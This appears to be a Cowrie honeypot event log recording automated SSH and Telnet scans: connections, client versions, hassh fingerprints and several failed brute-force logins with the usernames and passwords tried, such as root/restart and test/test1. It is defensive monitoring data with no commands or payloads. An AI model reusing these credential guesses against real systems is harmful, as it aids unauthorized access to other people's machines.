{"eventid":"cowrie.session.closed","duration":23.53328776359558,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:45.279112Z","src_ip":"152.42.224.71","session":"c7aa8060b24c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":47591,"dst_ip":"10.17.0.5","dst_port":23,"session":"29348047b90a","protocol":"telnet","message":"New connection: 49.88.156.34:47591 (10.17.0.5:23) [session: 29348047b90a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:45.733396Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41344,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7c3e45e47d8","protocol":"telnet","message":"New connection: 152.42.224.71:41344 (10.17.0.5:23) [session: f7c3e45e47d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:46.514184Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41360,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc33d45b9b06","protocol":"telnet","message":"New connection: 152.42.224.71:41360 (10.17.0.5:23) [session: cc33d45b9b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:53.371133Z"}
{"eventid":"cowrie.session.closed","duration":53.0493049621582,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:53.690651Z","src_ip":"152.42.224.71","session":"6834914b072c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41370,"dst_ip":"10.17.0.5","dst_port":23,"session":"193e11d8f6d6","protocol":"telnet","message":"New connection: 152.42.224.71:41370 (10.17.0.5:23) [session: 193e11d8f6d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:07:54.385562Z"}
{"eventid":"cowrie.session.closed","duration":15.027356147766113,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:00.760671Z","src_ip":"49.88.156.34","session":"29348047b90a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54038,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bc8e5a02d98","protocol":"telnet","message":"New connection: 152.42.224.71:54038 (10.17.0.5:23) [session: 0bc8e5a02d98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:04.403338Z"}
{"eventid":"cowrie.session.closed","duration":57.419413805007935,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:07.525385Z","src_ip":"152.42.224.71","session":"dd44c54ced2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":36812,"dst_ip":"159.203.135.109","dst_port":22,"session":"dda84fe0b43c","protocol":"ssh","message":"New connection: 147.45.199.80:36812 (159.203.135.109:22) [session: dda84fe0b43c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:09.122299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:09.126949Z","src_ip":"147.45.199.80","session":"dda84fe0b43c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:09.222285Z","src_ip":"147.45.199.80","session":"dda84fe0b43c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"restart","message":"login attempt [root/restart] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:09.517710Z","src_ip":"147.45.199.80","session":"dda84fe0b43c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:10.616683Z","src_ip":"147.45.199.80","session":"dda84fe0b43c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":43666,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa3ac3750e51","protocol":"ssh","message":"New connection: 103.149.170.125:43666 (159.203.135.109:22) [session: fa3ac3750e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:20.117568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:20.125323Z","src_ip":"103.149.170.125","session":"fa3ac3750e51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:20.385415Z","src_ip":"103.149.170.125","session":"fa3ac3750e51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hjccbz","message":"login attempt [root/hjccbz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:21.166415Z","src_ip":"103.149.170.125","session":"fa3ac3750e51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:22.429595Z","src_ip":"103.149.170.125","session":"fa3ac3750e51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34570,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c6132aa9a28","protocol":"telnet","message":"New connection: 152.42.224.71:34570 (10.17.0.5:23) [session: 4c6132aa9a28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:25.778521Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":41584,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c3440f0d6e8","protocol":"ssh","message":"New connection: 47.237.167.49:41584 (159.203.135.109:22) [session: 7c3440f0d6e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:27.044170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:28.040806Z","src_ip":"47.237.167.49","session":"7c3440f0d6e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:28.268202Z","src_ip":"47.237.167.49","session":"7c3440f0d6e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.627537965774536,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:31.467040Z","src_ip":"152.42.224.71","session":"9cf072820fcb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47686,"dst_ip":"10.17.0.5","dst_port":23,"session":"046f4003f04a","protocol":"telnet","message":"New connection: 152.42.224.71:47686 (10.17.0.5:23) [session: 046f4003f04a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:38.778436Z"}
{"eventid":"cowrie.session.closed","duration":36.45524334907532,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:40.858480Z","src_ip":"152.42.224.71","session":"0bc8e5a02d98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47702,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ee570c9c049","protocol":"telnet","message":"New connection: 152.42.224.71:47702 (10.17.0.5:23) [session: 2ee570c9c049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:42.396811Z"}
{"eventid":"cowrie.session.closed","duration":120.00421357154846,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:45.331111Z","src_ip":"152.42.224.71","session":"13e17700f6a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":112.50296425819397,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:46.989226Z","src_ip":"152.42.224.71","session":"ff9285329dee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50322,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a9ebe6bea13","protocol":"telnet","message":"New connection: 152.42.224.71:50322 (10.17.0.5:23) [session: 4a9ebe6bea13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:49.973220Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50332,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab9989182f66","protocol":"telnet","message":"New connection: 152.42.224.71:50332 (10.17.0.5:23) [session: ab9989182f66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:50.092596Z"}
{"eventid":"cowrie.session.closed","duration":9.098795890808105,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:51.495493Z","src_ip":"152.42.224.71","session":"2ee570c9c049","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00142669677734,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:51.950531Z","src_ip":"2.15.172.90","session":"f93a0cf0656f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50344,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee5d91b2737c","protocol":"telnet","message":"New connection: 152.42.224.71:50344 (10.17.0.5:23) [session: ee5d91b2737c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:52.626041Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.15.172.90","src_port":45966,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b4c2fee77b9","protocol":"telnet","message":"New connection: 2.15.172.90:45966 (10.17.0.5:23) [session: 5b4c2fee77b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:53.162698Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60048,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4436867e98a","protocol":"telnet","message":"New connection: 152.42.224.71:60048 (10.17.0.5:23) [session: c4436867e98a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:58.355841Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60054,"dst_ip":"10.17.0.5","dst_port":23,"session":"72f3161d3b57","protocol":"telnet","message":"New connection: 152.42.224.71:60054 (10.17.0.5:23) [session: 72f3161d3b57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:08:59.091217Z"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:06.326300Z","src_ip":"47.237.167.49","session":"7c3440f0d6e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"40.5","message":"Connection lost after 40.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:07.567339Z","src_ip":"47.237.167.49","session":"7c3440f0d6e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42942,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d5475e04fbb","protocol":"telnet","message":"New connection: 152.42.224.71:42942 (10.17.0.5:23) [session: 6d5475e04fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:09.746364Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42952,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f01fe95b61f","protocol":"telnet","message":"New connection: 152.42.224.71:42952 (10.17.0.5:23) [session: 3f01fe95b61f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:09.919265Z"}
{"eventid":"cowrie.session.closed","duration":113.44653534889221,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:10.056003Z","src_ip":"152.42.224.71","session":"61f8447c80fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":47292,"dst_ip":"159.203.135.109","dst_port":22,"session":"093645832604","protocol":"ssh","message":"New connection: 170.238.160.191:47292 (159.203.135.109:22) [session: 093645832604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:10.888903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:10.897987Z","src_ip":"170.238.160.191","session":"093645832604","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:11.010881Z","src_ip":"170.238.160.191","session":"093645832604","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1","message":"login attempt [test/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:11.487689Z","src_ip":"170.238.160.191","session":"093645832604","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:12.608708Z","src_ip":"170.238.160.191","session":"093645832604","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.172.6","src_port":41550,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e32858d083e","protocol":"ssh","message":"New connection: 181.188.172.6:41550 (159.203.135.109:22) [session: 8e32858d083e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:18.973457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:18.978194Z","src_ip":"181.188.172.6","session":"8e32858d083e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:19.100462Z","src_ip":"181.188.172.6","session":"8e32858d083e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test2","message":"login attempt [test/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:19.651220Z","src_ip":"181.188.172.6","session":"8e32858d083e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54768,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9ed5eafd1a6","protocol":"telnet","message":"New connection: 152.42.224.71:54768 (10.17.0.5:23) [session: d9ed5eafd1a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:19.921877Z"}
{"eventid":"cowrie.session.closed","duration":108.96249747276306,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:20.715258Z","src_ip":"152.42.224.71","session":"744c4a7a372b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:21.175022Z","src_ip":"181.188.172.6","session":"8e32858d083e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54778,"dst_ip":"10.17.0.5","dst_port":23,"session":"92eba70e5e74","protocol":"telnet","message":"New connection: 152.42.224.71:54778 (10.17.0.5:23) [session: 92eba70e5e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:21.353167Z"}
{"eventid":"cowrie.session.closed","duration":95.72596073150635,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:22.240030Z","src_ip":"152.42.224.71","session":"f7c3e45e47d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.67877817153931,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:26.457191Z","src_ip":"152.42.224.71","session":"4c6132aa9a28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":34044,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d952e48db61","protocol":"ssh","message":"New connection: 47.237.167.49:34044 (159.203.135.109:22) [session: 5d952e48db61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:27.730222Z"}
